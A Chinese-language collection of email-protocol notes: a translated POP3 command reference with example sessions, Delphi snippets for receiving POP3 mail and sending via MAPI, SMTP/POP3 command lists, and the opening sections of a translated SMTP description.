POP3命令由一个命令和一些参数组成。所有命令以一个CRLF对结束。命令和参数由可打印的ASCII字符组成，它们之间由空格间隔。命令一般是三到四个字母，每个参数却可达40个字符长。

POP3响应由一个状态码和一个可能跟有附加信息的命令组成。所有响应也是由CRLF对结束。现在有两种状态码，“确定” ("+OK")和“失败” ("-ERR")。

对于特定命令的响应是由许多字符组成的。在这些情况中，下面一一表述：在发送第一行响应和一个CRLF之后，任何的附加信息行发送，他们也由CRLF对结束。当所有信息发送结束时，发送最后一行，包括一个结束字符（十进制码46，也就是“.”）和一个CRLF对。如果信息中的任何一行以结束字符开始，此行就是通过在那一行预先装入结束而进行字符填充的。因此，多行响应由五个CRLF.CRLF 结束。当检测多行响应时，客户检测以确认此行是否以结束字符开始。如果是的，而且其后的字符不是CRLF，此行的第一个字符（结束字符）将被抛弃；如果其后紧跟CRLF，从POP服务器来的响应终止，包括.CRLF 的行也不被认为是多行响应的一部分了。

在生命周期中，POP3会话有几个不同的状态。一旦TCP连接被打开，而且POP3服务器发送了确认信息，此过程就进入了“确认”状态。在此状态中，客户必须向POP3服务器确认自己是其的客户。一旦确认成功，服务器就获取与客户邮件相关的资源，此时这一过程进入了“操作”状态。在此状态中，客户提出服务，当客户发出QUIT命令时，此过程进入了“更新”状态。在此状态中，POP3服务器释放在“操作”状态中取得的资源，并发送消息，终止连接。

POP3服务器可以拥有一个自动退出登录的记时器。此记时器必须至少可以记录10分钟。这样从客户发送的消息才可能刷新此记时器。当记时器失效时，POP3会话并不进入“更新”状态，而是关闭TCP连接，而且不删除任何消息，不向客户发送任何响应。

4. “确认”状态

一时TCP连接由POP3客户打开，POP3服务器发送一个单行的确认。这个消息可以是由CRLF结束的任何字符。例如，它可以是：

S: +OK POP3 server ready

注意：这个消息是一个POP3应答。POP3服务器应该给出一个“确定”响应作为确认。

此时POP3会话就进入了“确认”状态。此时，客户必须向服务器证明它的身份。在文档中介绍两种可能的处理机制，一种是USER和PASS命令，另一种是在后面要介绍的APOP命令。

用USER和PASS命令进行确认过程，客户必须首先发送USER命令，如果POP3服务器以“确认”状态码响应，客户就可以发送PASS命令以完成确认，或者发送QUIT命令终止POP3会话。如果POP3服务器返回“失败”状态码，客户可以再发送确认命令，或者发送QUIT命令。

当客户发送了PASS命令后，服务器根据USER和PASS命令的附加信息决定是否允许访问相应的存储邮件。

一旦服务器通过这些数据决定允许客户访问储存邮件，服务器会在邮件上加上排它锁，以防止在进入“更新”状态前对邮件的改变。如果成功获得了排它锁，服务器返回一个“确认”状态码。会话进入“操作状态”，同时没有任何邮件被标记为删除。如果邮件因为某种原因不能打开（例如，排它锁不能获得，客户不能访问相应的邮件或者邮件不能进行语法分析），服务器将返回“失败”状态码。在返回“失败”状态码后，服务器会关闭连接。如果服务器没有关闭连接，客户可以重新发送确认命令，重新开始，或者发送QUIT命令。

在服务器打开邮件后，它为每个消息指定一个消息号，并以八进制表示每个消息的长度。第一个消息被指定为1，第二个消息被指定为2，以此类推，第N个消息被指定为N。在POP3命令和响应中，所以的消息号和长度以十进制表示。

下面是对上述三条命令的总结：

命令格式 | 参数 | 限制 | 响应 | 例子
USER name | 指定邮箱的字符串，这对服务器至关重要 | 仅在USER和PASS命令失败后或在“确认”状态中使用 | +OK：有效邮箱； -ERR：无效邮箱 | C: USER mrose S: +OK mrose is a real hoopy frood ... C: USER frated S: -ERR sorry, no mailbox for frated here
PASS string | 口令 | 仅在“确认”状态中USER命令成功后使用（因为此命令只有一个参数，因此空格不再作为分隔符，而作为口令的一部分） | +OK：邮件锁住并已经准备好； -ERR无效口令或无法锁住邮件 | C: USER mrose S: +OK mrose is a real hoopy frood C: PASS secret S: +OK mrose's maildrop has 2 messages (320 octets) ... C: USER mrose S: +OK mrose is a real hoopy frood C: PASS secret S: -ERR maildrop already locked
QUIT | （无） | （无） | +OK | C: QUIT S: +OK dewey POP3 server signing off

5. “操作”状态

一旦客户向服务器成功地确认了自己的身份，服务器将锁住并打开相应的邮件，这时POP3会话进入“操作”状态。现在客户可以重复下面的POP3命令，对于每个命令服务器都会返回应答。最后，客户发送QUIT命令，会话进入“更新”状态。

下面是在“操作”状态中可用的命令：

命令 | 参数 | 限制 | 说明 | 响应 | 例子
STAT | （无） | 仅在“操作”状态下可用。 | 服务器以包括邮件信息的响应做为“确认”。为简化语法分析，所有的服务器要求使用邮件列表的特定格式。“确认”响应由一个空格，以八进制表示的邮件数目，一个空格和邮件大小。这是最小实现，高级的实现还需要别的信息。 注意：被标记为删除的信件不在此列。 | +OK： nn mm | C: STAT S: +OK 2 320
LIST [msg] | 信件数目（可选），如果出现，不包括标记为删除的信件。 | 仅在“操作”状态下可用。 | 如果给出了参数，且POP3服务器返回包括上述信息的“确认”，此行称为信息的“扫描表”。 如果没有参数，服务器返回“确认”响应，此响应便以多行给出。在初的+OK后，对于每个信件，服务器均给出相应的响应。 为简化语法分析，所有服务器要求使用扫描表的特定格式。它包括空格，每个邮件的确切大小。这是最小实现，高级的实现还需要别的信息。 注意：被标记为删除的信件不在此列。 | +OK：其后跟扫描表； -ERR：无扫描。 | C: LIST S: +OK 2 messages (320 octets) S: 1 120 S: 2 200 S: . ... C: LIST 2 S: +OK 2 200 ... C: LIST 3 S: -ERR no such message, only 2 messages in maildrop
RETR msg | 不包括标记为删除的信件数目。 | 仅在“操作”状态下可用。 | 如果服务器返回“确认”，给出的响应是多行的。在初始的+OK后，服务器发送与给定信息号对应的信息，对于多行响应，注意字节填充终止符。 | +OK：消息在其后； -ERR：其后无消息。 | C: RETR 1 S: +OK 120 octets S: <the POP3 server sends the entire message here> S: .
DELE msg | 不包括标记为删除的信件数目。 | 仅在“操作”状态下可用。 | 服务器将此信件标记为删除，以后任何关于此信件的操作就会产生错误。服务器在会话进入“更新”状态前不会真正删除此信件。 | +OK：信件被删除； -ERR：无此信件。 | C: DELE 1 S: +OK message 1 deleted ... C: DELE 2 S: -ERR message 2 already deleted
NOOP | （无） | 仅在“操作”状态下可用。 | 服务器仅返回“确认”。 | +OK | C: NOOP S: +OK
RSET | （无） | 仅在“操作”状态下可用。 | 所有被标记为删除的信件复位，服务器返回“确认”。 | +OK | C: RSET S: +OK maildrop has 2 messages (320个字符)

6.“更新”状态

当客户在“操作”状态下发送QUIT命令后，会话进入“更新”状态。（注意：如果客户在“确认”状态下发送QUIT后，会话并不进入“更新”状态。）

如果会话因为QUIT命令以外的原因中断，会话并不进入“更新”状态，也不从服务器中删除任何信件。

命令 | 参数 | 限制 | 说明 | 响应 | 例子
QUIT | （无） | （无） | 服务器删除所有标记为删除的信件，然后释放排它锁，并返回这些操作的状态码。最后TCP连接被中断。 | +OK | C: QUIT S: +OK dewey POP3 server signing off (清空标记邮件) ... C: QUIT S: +OK dewey POP3 server signing off

7.可选的POP3命令

以上讨论的命令是对POP3服务的最小实现。以下说明的可选命令允许客户更方便地处理信件，这是一个比较一般的POP3服务实现。

命令 | 参数 | 限制 | 说明 | 响应 | 例子
TOP msg n | 一个是未被标记为删除的信件数，另一个是非负数（必须提供） | 仅在“操作”状态下使用。 | 如果服务器返回“确认”，响应是多行的。在初始的+OK后，服务器发送信件头，一个空行将信件头和信件体分开，对于多行响应要注意字节填充终止符。 注意：如果客户要求的行数比信件体中的行数大，服务器会发送整个信件。 | +OK：其后有信件头； -ERR：其后无类似消息。 | C: TOP 1 10 S: +OK S: <服务器发送消息头，一个空行和信件的头10行> S: . ... C: TOP 100 3 S: -ERR no such message
UIDL [msg] | 信件数（可选）。如果给出信件数，不包括被标记为删除的信件。 | 仅在“操作”状态下使用。 | 如果给出了参数，且POP3服务器返回包括上述信息的“确认”，此行称为信息的“独立-ID表”。 如果没有参数，服务器返回“确认”响应，此响应便以多行给出。在初的+OK后，对于每个信件，服务器均给出相应的响应。此行叫做信件的“独立-ID表”。 为简化语法分析，所有服务器要求使用独立-ID表的特定格式。它包括空格和信件的独立-ID。 信件的独立-ID由0x21到0x7E字符组成，这个符号在给定的存储邮件中不会重复。 注意：信件不包括被标记为删除的信件。 | +OK：其后是独立-ID表； -ERR：其后无类似信件。 | C: UIDL S: +OK S: 1 whqtswO00WBw418f9t5JxYwZ S: 2 QhdPYR:00WBw1Ph7x7 S: . ... C: UIDL 2 S: +OK 2 QhdPYR:00WBw1Ph7x7 ... C: UIDL 3 S: -ERR no such message, only 2 messages in maildrop
APOP name digest | 指定邮箱的字串和MD5摘要串。 | 仅在POP3确认后的“确认”状态中使用。 | 通常，每个POP3会话均以USER/PASS互换开始。这导致了用户名和口令在网络上的显式传送，这不会造成什么危险。但是，许多客户经常连接到服务检查信件。通常间隔时间比较短，这就加大了泄密的可能性。 另一种提供“确认”过程的方法是使用APOP命令。 实现APOP命令的服务器包括一个标记确认的时间戳。例如：在UNIX上使用APOP命令的语法为：process-ID.clock@hostname，其中进程-ID是进程的十进制的数，时钟是系统时钟的十进制表示，主机名与POP3服务器名一致。 客户记录下此时间戳，然后以送APOP命令。name语法和USER命令一致。Digest是采用MD5算法产生的包括时间戳和共享密钥的字串。此密钥是客户和服务器共知的，应该注意保护此密钥，如果泄密，任何人都能够以用户身份进入服务器。 如果服务器接到APOP命令，它验证digest，如果正确，服务器返回“确认”，进入“操作”状态；否则，给出“失败”并停留在“确认”状态。 注意：共享密钥的长度增加，解读它的难度也相应增加，这个密钥应该是长字符串。 | +OK：邮件锁住并准备好； -ERR：拒绝请求。 | S: +OK POP3 server ready <1896.697170952@dbc.mtview.ca.us> C: APOP mrose c4c9334bac560ecc979e58001b3e22fb S: +OK maildrop has 1 message (369 octets) 在此例子中，共享密钥 <1896.697170952@dbc.mtview.ca.us>tanstaaf由MD5算法生成，它产生了digest值， c4c9334bac560ecc979e58001b3e22fb

8. POP3命令总结

基础的POP3命令：

USER name 在“确认”状态有效

PASS string

QUIT

STAT 在“操作”状态有效

LIST [msg]

RETR msg

DELE msg

NOOP

RSET

QUIT 在“更新”状态有效

可选的POP3命令：

APOP name digest 在“确认”状态有效

TOP msg n 在“操作”状态有效

UIDL [msg]

POP3 响应：

+OK

-ERR

注意：除了STAT，LIST和UIDL的响应外，其它命令的响应均为"+OK"和 "-ERR"。响应后的所有文本将被客户略去。

9. POP3会话实例

S: <等待连接到TCP端口110>

C: <打开连接>

S: +OK POP3 server ready <1896.697170952@dbc.mtview.ca.us>

C: APOP mrose c4c9334bac560ecc979e58001b3e22fb

S: +OK mrose's maildrop has 2 messages (320 octets)

C: STAT

S: +OK 2 320

C: LIST

S: +OK 2 messages (320 octets)

S: 1 120

S: 2 200

S: .

C: RETR 1

S: +OK 120 octets

S: <服务器发送信件1>

S: .

C: DELE 1

S: +OK message 1 deleted

C: RETR 2

S: +OK 200 octets

S: <服务器发送信件2>

S: .

C: DELE 2

S: +OK message 2 deleted

C: QUIT

S: +OK dewey POP3 server signing off (maildrop empty)

C: <关闭连接>

S: <等待下一次连接>

10. 消息格式

在会话过程中的消息格式都假定与Internet文本消息格式标准一致。应该注意的是，由于各个服务器对于换行符的处理不同，因此计数不一定相同。通常，在“确认”状态中，服务器能够以八进制计算信件的大小。例如，如果在打开储存邮件时服务器内部认定换行符代表一个字符，一般服务器在计算它时作为两个字符计。注意，以终止符开始的消息行不被计数两次，因为客户将在接收到多行响应后删除所有字节填充。

11. 安全性考虑

可以推测，使用APOP命令可以提供会话期间的保护。相应的，同时实现PASS和APOP命令的服务器只允许用户以一种方式访问；也就是说要么使用USER/PASS组合，要么使用APOP命令，不能同时使用两个。

而且，注意随着共享密钥长度的增加，解读的难度也就上升了。服务器要提供用户名时不给出任何响应，不给出任何暗示此用户名是否正确。而口令却在网络上显式传送；使用RETR和TOP命令在网络上显式传送信件。


得到POP3邮件附件名称的列表
pop3中MailMessage特性中Attachments包含了接受到的附件名称，这是一个TStringList对象。

例如：

if pop3.mailmessage.attachments.text<>'' then

showmessage('附件:'+#10#13+pop3.mailmessage.attachments.text);

======================

pop3.MailMessage.Attachments.Count

pop3.MailMessage.Attachments.Strings[i]


POP3邮件乱码
将memo1的IME(input method editor)改为imechinese模式,再试试.

我听说这是因为SMTP在传输中,不会对邮件的中文编码自动解码,需要自己手动解码,

如果上面还不能解决的话,还有一种方法,就是先将收到的编码以二进制形式写入文件,再以ascii码的形式将其读出,就可以解决了

procedure Tfrm_Get_Mail.NMPOP31Connect(Sender: TObject);

var

S: String;

M: Integer;

begin

frm_Get_Mail.Caption:='已经连接到 '+ADOQuery1['Mail_UserName']+' 在 '+ADOQuery1['Mail_POP3_Host']+'上';

if NMPOP31.MailCount > 0 then

begin

Label1.Caption:='有 '+IntToStr(NMPOP31.MailCount)+' 封信在你的信箱里。';

if InputQuery('输入一个编号', '接收哪条? (1-'+IntToStr(NMPOP31.MailCount)+')', S) then

begin

M := StrToIntDef(S, -1);

If (M < 0) or (M > NMPOP31.MailCount) then

ShowMessage('无效的编号')

else

ProgressBar1.Max:=100;

ProgressBar1.Min:=0;

NMPOP31.GetMailMessage(M);

end;

end

else

Label1.Caption:='没有邮件.';

end;

procedure Tfrm_Get_Mail.NMPOP31DecodeStart(var FileName: String);

var

S: String;

begin

S := FileName;

if InputQuery('保存附件', '文件名?', S) then

FileName := S;

end;

procedure Tfrm_Get_Mail.NMPOP31RetrieveEnd(Sender: TObject);

begin

Memo1.Text := NMPOP31.MailMessage.Body.Text;

Memo1.lines.add( NMPOP31.MailMessage.Subject);

Memo1.Lines.Add(NMPOP31.MailMessage.From);

Label1.Caption:='接收完毕';

end;


SMTP和POP3的命令集
SMTP:

HELLO (HELO)

MAIL (MAIL)

RECIPIENT (RCPT)

DATA (DATA)

SEND (SEND)

RESET (RSET)

VERIFY (VRFY)

EXPAND (EXPN)

HELP (HELP)

NOOP (NOOP)

QUIT (QUIT)

TURN (TURN)

POP3:

USER

PASS

QUIT

STAT

LIST

RETR

DELE

NOOP

RSET

TOP

UIDL

APOP


MAPI邮件发送
unit MapiControl;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type

{ Introducing a new Type of Event to get the Errorcode }

TMapiErrEvent = procedure(Sender: TObject; ErrCode: Integer) of object;

TMapiControl = class(TComponent)

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

private

{ Private-Deklarationen }

FSubject: string;

FMailtext: string;

FFromName: string;

FFromAdress: string;

FTOAdr: TStrings;

FCCAdr: TStrings;

FBCCAdr: TStrings;

FAttachedFileName: TStrings;

FDisplayFileName: TStrings;

FShowDialog: Boolean;

FUseAppHandle: Boolean;

{ Error Events: }

FOnUserAbort: TNotifyEvent;

FOnMapiError: TMapiErrEvent;

FOnSuccess: TNotifyEvent;

{ +> Changes by Eugene Mayevski [mailto:Mayevski@eldos.org]}

procedure SetToAddr(newValue : TStrings);

procedure SetCCAddr(newValue : TStrings);

procedure SetBCCAddr(newValue : TStrings);

procedure SetAttachedFileName(newValue : TStrings);

{ +< Changes }

protected

{ Protected-Deklarationen }

public

{ Public-Deklarationen }

ApplicationHandle: THandle;

procedure Sendmail();

procedure Reset();

published

{ Published-Deklarationen }

property Subject: string read FSubject write FSubject;

property Body: string read FMailText write FMailText;

property FromName: string read FFromName write FFromName;

property FromAdress: string read FFromAdress write FFromAdress;

property Recipients: TStrings read FTOAdr write SetTOAddr;

property CopyTo: TStrings read FCCAdr write SetCCAddr;

property BlindCopyTo: TStrings read FBCCAdr write SetBCCAddr;

property AttachedFiles: TStrings read FAttachedFileName write SetAttachedFileName;

property DisplayFileName: TStrings read FDisplayFileName;

property ShowDialog: Boolean read FShowDialog write FShowDialog;

property UseAppHandle: Boolean read FUseAppHandle write FUseAppHandle;

{ Events: }

property OnUserAbort: TNotifyEvent read FOnUserAbort write FOnUserAbort;

property OnMapiError: TMapiErrEvent read FOnMapiError write FOnMapiError;

property OnSuccess: TNotifyEvent read FOnSuccess write FOnSuccess;

end;

procedure Register;

implementation

uses Mapi;

{ Register the component: }

procedure Register;

begin

RegisterComponents('expectIT', [TMapiControl]);

end;

{ TMapiControl }

constructor TMapiControl.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

FOnUserAbort := nil;

FOnMapiError := nil;

FOnSuccess := nil;

FSubject := '';

FMailtext := '';

FFromName := '';

FFromAdress := '';

FTOAdr := TStringList.Create;

FCCAdr := TStringList.Create;

FBCCAdr := TStringList.Create;

FAttachedFileName := TStringList.Create;

FDisplayFileName := TStringList.Create;

FShowDialog := False;

ApplicationHandle := Application.Handle;

end;

{ +> Changes by Eugene Mayevski [mailto:Mayevski@eldos.org]}

procedure TMapiControl.SetToAddr(newValue : TStrings);

begin

FToAdr.Assign(newValue);

end;

procedure TMapiControl.SetCCAddr(newValue : TStrings);

begin

FCCAdr.Assign(newValue);

end;

procedure TMapiControl.SetBCCAddr(newValue : TStrings);

begin

FBCCAdr.Assign(newValue);

end;

procedure TMapiControl.SetAttachedFileName(newValue : TStrings);

begin

FAttachedFileName.Assign(newValue);

end;

{ +< Changes }

destructor TMapiControl.Destroy;

begin

FTOAdr.Free;

FCCAdr.Free;

FBCCAdr.Free;

FAttachedFileName.Free;

FDisplayFileName.Free;

inherited destroy;

end;

{ Reset the fields for re-use}

procedure TMapiControl.Reset;

begin

FSubject := '';

FMailtext := '';

FFromName := '';

FFromAdress := '';

FTOAdr.Clear;

FCCAdr.Clear;

FBCCAdr.Clear;

FAttachedFileName.Clear;

FDisplayFileName.Clear;

end;

{ Send the Mail via the API, this procedure composes and sends

the Email }

procedure TMapiControl.Sendmail;

var

MapiMessage: TMapiMessage;

MError: Cardinal;

Sender: TMapiRecipDesc;

PRecip, Recipients: PMapiRecipDesc;

PFiles, Attachments: PMapiFileDesc;

i: Integer;

AppHandle: THandle;

begin

{ First we store the Application Handle, if not

the Component might fail to send the Email or

your calling Program gets locked up. }

AppHandle := Application.Handle;

{ We need all recipients to alloc the memory }

MapiMessage.nRecipCount := FTOAdr.Count + FCCAdr.Count + FBCCAdr.Count;

GetMem(Recipients, MapiMessage.nRecipCount * sizeof(TMapiRecipDesc));

try

with MapiMessage do

begin

ulReserved := 0;

{ Setting the Subject: }

lpszSubject := PChar(Self.FSubject);

{ ... the Body: }

lpszNoteText := PChar(FMailText);

lpszMessageType := nil;

lpszDateReceived := nil;

lpszConversationID := nil;

flFlags := 0;

{ and the sender: (MAPI_ORIG) }

Sender.ulReserved := 0;

Sender.ulRecipClass := MAPI_ORIG;

Sender.lpszName := PChar(FromName);

Sender.lpszAddress := PChar(FromAdress);

Sender.ulEIDSize := 0;

Sender.lpEntryID := nil;

lpOriginator := @Sender;

PRecip := Recipients;

{ We have multiple recipients: (MAPI_TO)

and setting up each: }

if nRecipCount > 0 then

begin

for i := 1 to FTOAdr.Count do

begin

PRecip^.ulReserved := 0;

PRecip^.ulRecipClass := MAPI_TO;

{ lpszName should carry the Name like in the

contacts or the adress book, I will take the

email adress to keep it short: }

PRecip^.lpszName := PChar(FTOAdr.Strings[i - 1]);

{ If you use this component with Outlook97 or 2000

and not some of Express versions you will have to set

'SMTP:' in front of each (email-) adress. Otherwise

Outlook/Mapi will try to handle the Email on itself.

Sounds strange, just erease the 'SMTP:', compile, compose

a mail and take a look at the resulting email adresses

(right click).

}

PRecip^.lpszAddress := PChar('SMTP:' + FTOAdr.Strings[i - 1]);

PRecip^.ulEIDSize := 0;

PRecip^.lpEntryID := nil;

Inc(PRecip);

end;

{ Same with the carbon copy recipients: (CC, MAPI_CC) }

for i := 1 to FCCAdr.Count do

begin

PRecip^.ulReserved := 0;

PRecip^.ulRecipClass := MAPI_CC;

PRecip^.lpszName := PChar(FCCAdr.Strings[i - 1]);

PRecip^.lpszAddress := PChar('SMTP:' + FCCAdr.Strings[i - 1]);

PRecip^.ulEIDSize := 0;

PRecip^.lpEntryID := nil;

Inc(PRecip);

end;

{ ... and the blind copy recipients: (BCC, MAPI_BCC) }

for i := 1 to FBCCAdr.Count do

begin

PRecip^.ulReserved := 0;

PRecip^.ulRecipClass := MAPI_BCC;

PRecip^.lpszName := PChar(FBCCAdr.Strings[i - 1]);

PRecip^.lpszAddress := PChar('SMTP:' + FBCCAdr.Strings[i - 1]);

PRecip^.ulEIDSize := 0;

PRecip^.lpEntryID := nil;

Inc(PRecip);

end;

end;

lpRecips := Recipients;

{ Now we process the attachments: }

if FAttachedFileName.Count > 0 then

begin

nFileCount := FAttachedFileName.Count;

GetMem(Attachments, MapiMessage.nFileCount * sizeof(TMapiFileDesc));

PFiles := Attachments;

{ Fist setting up the display names (without path): }

FDisplayFileName.Clear;

for i := 0 to FAttachedFileName.Count - 1 do

FDisplayFileName.Add(ExtractFileName(FAttachedFileName[i]));

if nFileCount > 0 then

begin

{ Now we pass the attached file (their paths) to the

structure: }

for i := 1 to FAttachedFileName.Count do

begin

{ Setting the complete Path }

Attachments^.lpszPathName := PChar(FAttachedFileName.Strings[i - 1]);

{ ... and the displayname: }

Attachments^.lpszFileName := PChar(FDisplayFileName.Strings[i - 1]);

Attachments^.ulReserved := 0;

Attachments^.flFlags := 0;

{ Position has to be -1, please see the WinApi Help

for details. }

Attachments^.nPosition := Cardinal(-1);

Attachments^.lpFileType := nil;

Inc(Attachments);

end;

end;

lpFiles := PFiles;

end

else

begin

nFileCount := 0;

lpFiles := nil;

end;

end;

{ Send the Mail, silent or verbose:

Verbose means in Express a Mail is composed and shown as setup.

In non-Express versions we show the Login-Dialog for a new

session and after we have choosen the profile to use, the

composed email is shown before sending

Silent does currently not work for non-Express version. We have

no Session, no Login Dialog so the system refuses to compose a

new email. In Express Versions the email is sent in the

background.

}

if FShowDialog then

MError := MapiSendMail(0, AppHandle, MapiMessage, MAPI_DIALOG or MAPI_LOGON_UI or MAPI_NEW_SESSION, 0)

else

MError := MapiSendMail(0, AppHandle, MapiMessage, 0, 0);

{ Now we have to process the error messages. There are some

defined in the MAPI unit please take a look at the unit to get

familiar with it.

I decided to handle USER_ABORT and SUCCESS as special and leave

the rest to fire the "new" error event defined at the top (as

generic error)

Not treated as special:

MAPI_E_AMBIGUOUS_RECIPIENT,

MAPI_E_ATTACHMENT_NOT_FOUND,

MAPI_E_ATTACHMENT_OPEN_FAILURE,

MAPI_E_BAD_RECIPTYPE,

MAPI_E_FAILURE,

MAPI_E_INSUFFICIENT_MEMORY,

MAPI_E_LOGIN_FAILURE,

MAPI_E_TEXT_TOO_LARGE,

MAPI_E_TOO_MANY_FILES,

MAPI_E_TOO_MANY_RECIPIENTS,

MAPI_E_UNKNOWN_RECIPIENT:

}

case MError of

MAPI_E_USER_ABORT:

begin

if Assigned(FOnUserAbort) then

FOnUserAbort(Self);

end;

SUCCESS_SUCCESS:

begin

if Assigned(FOnSuccess) then

FOnSuccess(Self);

end

else begin

if Assigned(FOnMapiError) then

FOnMapiError(Self, MError);

end;

end;

finally

{ Finally we do the cleanups, the message should be on its way }

FreeMem(Recipients, MapiMessage.nRecipCount * sizeof(TMapiRecipDesc));

end;

end;

{

Please treat this as free. If you improve the component

I would be glad to get a copy.

}

end.


简单邮件传输协议（SMTP）
http://wwwhpq.topcool.net/mailsrv/doc/smtp.html

简单邮件传输协议（SMTP）

介绍 SMTP模型 SMTP过程 SMTP说明

TCP传输服务 NCP传输服务 NITS X.25传输服务

应答码构成方法 一些例子

1. 介绍

简单邮件传输协议（SMTP）的目标是可靠高效地传送邮件，它独立于传送子系统而且仅要求一条可以保证传送数据单元顺序的通道。附录A，B，C和D描述了不同传送服务下SMTP的使用。在名词表中还定义了本文档中使用的术语。

SMTP的一个重要特点是它能够在传送中接力传送邮件，传送服务提供了进程间通信环境（IPCE），此环境可以包括一个网络，几个网络或一个网络的子网。理解到传送系统（或IPCE）不是一对一的是很重要的。进程可能直接和其它进程通过已知的IPCE通信。邮件是一个应用程序或进程间通信。邮件可以通过连接在不同IPCE上的进程跨网络进行邮件传送。更特别的是，邮件可以通过不同网络上的主机接力式传送。

2. SMTP模型

SMTP设计基于以下通信模型：针对用户的邮件请求，发送SMTP建立与接收SMTP之间建立一个双向传送通道。接收SMTP可以是最终接收者也可以是中间传送者。SMTP命令由发送SMTP发出，由接收SMTP接收，而应答则反方面传送。

一旦传送通道建立，SMTP发送者发送MAIL命令指明邮件发送者。如果SMTP接收者可以接收邮件则返回OK应答。SMTP发送者再发出RCPT命令确认邮件是否接收到。如果SMTP接收者接收，则返回OK应答；如果不能接收到，则发出拒绝接收应答（但不中止整个邮件操作），双方将如此重复多次。当接收者收到全部邮件后会接收到特别的序列，如果接收者成功处理了邮件，则返回OK应答。

SMTP提供传送邮件的机制，如果接收方与发送方连接在同一个传送服务下时，邮件可以直接由发送方主机传送到接收方主机；或者，当两者不在同一个传送服务下时，通过中继SMTP服务器传送。为了能够对SMTP服务器提供中继能力，它必须拥有最终目的主机地址和邮箱名称。

MAIL命令参数是回复路径，它指定邮件从何处来；而RCPT命令的参数是转发路径的，它指定邮件向何处去。向前路径是源路径，而回复路径是返回路径（它用于发生错误时返回邮件）。

当同一个消息要发往不同的接收者时，SMTP遇到了向不同接收者发送同一份数据的复制品的问题，邮件命令和应答有一个比较奇怪的语法，应答也有一个数字代码。在下面，例子中可以看到哪些使用实际的命令和应答。完整的命令和应答在第四节。

命令与应答对大小写不敏感，也就是说，命令和应答可以是大写，小写或两者的混合，但这一点对用户邮件名称却不一定是对的，因为有的主机对用户名大小写是敏感的。这样SMTP实现中就将用户邮箱名称保留成初始时的样子，主机名称对大小写不敏感。

命令与应答由ASCII字母表组成，当传送服务提供8位字节传送通道，每7位字符正确传送，而最高位被填充为0。当指定一般的命令或应答格式后，参数会由一些类似于语言的字符串表示出来，如"<string>"或"<reverse-path>"，这里尖括号表示这是一种类似于语言的变量。

3. SMTP过程

本节提供了SMTP中的一些过程。头一个说明的是基本发送过程（定义为发送操作）。下来描述向前传送邮件，确认邮箱名称和扩展邮件列表，发送到终端和打开关闭交换。在本节的最后是对中断，邮件域的说明。本节的例子只是一部分命令和应答的序列，完整的例子见附录F。

3.1. MAIL

在SMTP发送操作中有三步，操作由MAIL命令开始给出发送者标识。一系列或更多的RCPT命令紧跟其后，给出了接收者信息，然后是DATA命令列出发送的邮件内容，最后邮件内容指示符确认操作。

过程中的第一步是MAIL命令，< reverse-path >包括源邮箱。

MAIL <SP> FROM:<reverse-path> <CRLF>

此命令告诉接收者新的发送操作已经开始，请复位所有状态表和缓冲区。它给出反向路径以进行错误信息返回。如果请求被接收，接收方返回一个250 OK应答。<reverse-path>中不止包括了邮箱，它包括了主机和源邮箱的反向路由，其中的第一个主机就是发送此命令的主机。

过程中的第二步是发送RCPT命令。

RCPT <SP> TO:<forward-path> <CRLF>

此命令给出向前路径标识接收者，如果命令被接收，接收方返回一个250 OK应答，并存储向前路径。如果接收者未知，接收方会返回一个550 Failure应答。此过程可能会重复若干次。

<forward-path>不仅包括邮件，它是主机和目的邮箱的路由表，在其中的第一个主机就是接收命令的主机。

过程中的第三步是发送DATA命令。

DATA <CRLF>

如果命令被接收，接收方返回一个354 Intermediate应答，并认定以下的各行都是信件内容。当信件结尾收到并存储后，接收者发送一个250 OK应答。因为邮件是在传送通道上发送，因此必须指明邮件内容结尾，以便应答对话可以重新开始。SMTP通过在最后一行仅发送一个句号来表示邮件内容的结束，在接收方，一个对用户透明的过程将此符号过滤掉，以不影响正常的数据。

注意：邮件内容包括如下提示：Date, Subject, To, Cc, From。

邮件内容指示符确认邮件操作并告知接收者可以存储和再发送数据了。如果此命令被接收，接收方返回一个250 OK应答。DATA命令仅在邮件操作未完成或源无效的情况下失败。

上面所述的过程是一个发送操作。这些命令只能以上面的顺序使用。下例表示了在一个发送操作中这些命令的使用。

-------------------------------------------------------------

SMTP过程例子 此例是在Alpha.ARPA主机的Smith发送邮件给Beta.ARPA主机的Jones，Green和Brown的，这里假定主机Alpha与主机Beta直接相连。

S: MAIL FROM:<Smith@Alpha.ARPA>

R: 250 OK

S: RCPT TO:<Jones@Beta.ARPA>

R: 250 OK

S: RCPT TO:<Green@Beta.ARPA>

R: 550 No such user here

S: RCPT TO:<Brown@Beta.ARPA>

R: 250 OK

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Blah blah blah...

S: ...等等

S: <CRLF>.<CRLF>

R: 250 OK

此信被前两个人接收，而第三个人在此主机上没有邮箱。

-------------------------------------------------------------

3.2. 转发 下面是一些<forward-path>中目的地址不正确的，但接收者知道正确的目的地址的例子。在这些例子中，下列应答之一应该允许发送方与获得正确地址。

251：用户不在本地；将向前发送到<forward-path>。

这个应答意味着，接收方SMTP知道用户的邮箱在另外的主机上，而且意味着将在未来使用正确的转向路径。请注意，主机或者用户，或者它们两者是不同的。接收方负责传送消息。

551 ：用户非本地，请尝试<forward-path>

这个应答意味着接收SMTP知道用户的邮箱在另外的主机上，并意味着使用了正确的转发路径。注意请注意，主机或者用户，或者它们两者是不同的。接收方拒绝接收此用户的信件，发送者必须根据提供的信息重新发送或者向原发送者返回错误信息。

下例显示了这些响应的应用。

转发的例子

S: RCPT TO:<Postel@USC-ISI.ARPA>

R: 251 User not local; will forward to <Postel@USC-ISIF.ARPA>

或者

S: RCPT TO:<Paul@USC-ISIB.ARPA>

R: 551 User not local; please try <Mockapetris@USC-ISIF.ARPA>

-------------------------------------------------------------

3.3. 确认和扩展

SMTP提供了另外的确认用户名和扩展邮件列表的功能。这些功能由VREF和EXPN命令完成，它们都以字符串为参数。对于VREF命令，字符串参数指的是用户名，对此命令的响应要包括用户的命名和用户的邮箱。对于EXPN命令，字符串参数指的是邮件列表，对此命令的响应多于一个，它们要包括所有列表中用户的命名和他们的邮箱。

“用户名”是一个多余的项目，它是故意被加上的。如果主机采用VREF命令和EXPN命令，最后本地邮箱必须提供用户名使它被主机确认。如果主机选择由另外的字符串作为用户名，也是允许的。

